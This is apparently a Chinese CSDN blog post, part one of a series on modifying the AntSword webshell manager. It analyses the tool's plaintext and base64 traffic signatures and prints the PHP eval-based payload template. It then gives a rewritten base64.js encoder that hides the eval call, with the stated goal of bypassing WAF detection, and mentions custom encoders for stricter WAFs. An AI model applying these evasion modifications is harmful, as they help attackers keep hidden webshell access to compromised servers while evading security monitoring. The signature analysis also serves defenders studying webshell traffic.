蚁剑从入门到魔改【一】

本文详细介绍了蚁剑工具的通信方式,包括明文通信、密文通信(base64编码)和自定义编解码。通过分析源代码,揭示了蚁剑如何隐藏流量特征以绕过WAF,并给出了base64.js文件的魔改示例,以避免明文传输敏感信息。此外,还提到了如何自定义编码器以应对更严格的WAF查杀。
摘要由CSDN通过智能技术生成

连接地址

在这里插入图片描述

选用网卡

在这里插入图片描述

一、明文通信

特征

=%40ini_set
set_time_limit

分析过程

以 HTTP 流的形式 打开数据包

在这里插入图片描述

在虚拟终端执行命令

在这里插入图片描述

在这里插入图片描述

如上图:返回包首部和尾部有填充字符,分别是 117dd7689896d3f7440 。对应了请求包中的 echo 的输出内容

二、密文通信

特征

base64_decode

分析过程

在蚁剑php的选项下,请求包默认支持base64、chr、chr16、rot13四种编码方式,响应包支持base64、rot13编码,还支持在几种编码方式下随机选择。

这里我们选择 请求和响应的方式 都是base64加密

在这里插入图片描述

注意:这里可不是单纯的 Base64加密,可以看到。加密后的数据做了混淆,有 %

在这里插入图片描述

三、自定义编解码

首先我们应该知道,在蚁剑的 source/core/php 目录下有对应的编码,我们只需要在这里进行修改即可,然后流量特征就会发生变化,可以通过简单的操作,隐藏某些特征,就可以很有效的绕过waf

source/core/php/index.js

打开source/core/php 下的 index.js 之后 会看到下面的内容。在 encoders 中写什么,对应的蚁剑的界面上就会出现什么内容

在这里插入图片描述

同理,下面代码还有 关于分割符号设置的

接下来,看最重要的 能够通过修改 绕过 WAF 的代码

index.js 最后的 data[’_’] 就是shell代码执行的主体架构

蚁剑会将参数传递到对应的位置拼接成为完整代码

最终服务器执行的就是这里的代码

data['_'] = 
`@ini_set("display_errors", "0");
@set_time_limit(0);
${asencCode};
function asoutput(){
	$output=ob_get_contents();
	ob_end_clean();
	echo "${tag_s.substr(0,tag_s.length/2)}"."${tag_s.substr(tag_s.length/2)}";
	echo @asenc($output);
	echo "${tag_e.substr(0,tag_e.length/2)}"."${tag_e.substr(tag_e.length/2)}";}ob_start();
	try{${tmpCode};
	}catch(Exception $e){
	echo "ERROR://".$e->getMessage();
	};
	asoutput();
	die();`;

观察第2,3行,和数据包中的responseBody的第一行很相似

因此我们可以推理出,这就是默认情况下(明文通信),蚁剑数据包的流量特征

在这里插入图片描述

上面介绍了明文通信,如果想要进行密文通信,例如 base64 加密通信,那么就要分析 source/core/php/base64.js

source/core/php/base64.js

下面是 base64.js 的文件内容

/**
 * php::base64编码器
 * ? 利用php的base64_decode进行编码处理
 */

'use strict';

module.exports = (pwd, data, ext = null) => {
  // 生成一个随机变量名
  let randomID;
  if (ext.opts.otherConf['use-random-variable'] === 1) {
    randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
  } else {
    randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
  }
  data[randomID] = Buffer
    .from(data['_'])
    .toString('base64');
  data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;
  delete data['_'];
  return data;
}

shell 所有传递的参数都在data列表中,需要执行的代码在 data['_'] 中,data[randomID] = Buffer.from(data['_']).toString('base64'); 的表达的意思就是 将 data['_'] 中的代码读取并进行 base64 编码

data[pwd] 以参数的形式将内容传递到 服务器,将 data['_'] 的内容在服务器端 解码并执行,虽然 data['_'] 是被编码了,但是 data[pwd] 作为参数传递仍然是以明文传输

因此我们要想方设法 不发送明文内容,也就是不发送 data[pwd] 中的内容

如果上述代码不做修改,数据包中会看到以下特征(responseBody的第一行),对应 base64.js 的下面这行代码

data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;

在这里插入图片描述

下面对 bash64.js 文件做修改

注意只能写成 data[pwd],不能写成 data[randomID],不然的或连接的时候就会发出警告 返回数据为空

/**
 * php::base64编码器
 * ? 利用php的base64_decode进行编码处理
 */

'use strict';

module.exports = (pwd, data, ext = null) => {
  // 生成一个随机变量名
  let randomID;
  if (ext.opts.otherConf['use-random-variable'] === 1) {
    randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
  } else {
    randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
  }
  //data[randomID] = Buffer.from(data['_']).toString('base64');
  data[pwd] = Buffer.from(data['_']).toString('base64');
  delete data['_'];
  return data;
}

自定义加密算法

点击蚁剑的编码设置,可以创建编码器或解码器,以绕过更严格的 WAF 查杀。同时官方也在 github上提供了很多优秀的项目

四、参考文章

蚁剑原理与魔改:https://www.cnblogs.com/Lmg66/p/14016869.html

蚁剑改造过WAF(强烈推荐):https://xz.aliyun.com/u/31536

蚁剑流量特征与编码器入门:http://www.feidao.site/wordpress/?p=4495#toc-head-6

从0到1掌握AWD攻防之RSA必杀:https://xz.aliyun.com/t/4640

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Buffedon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值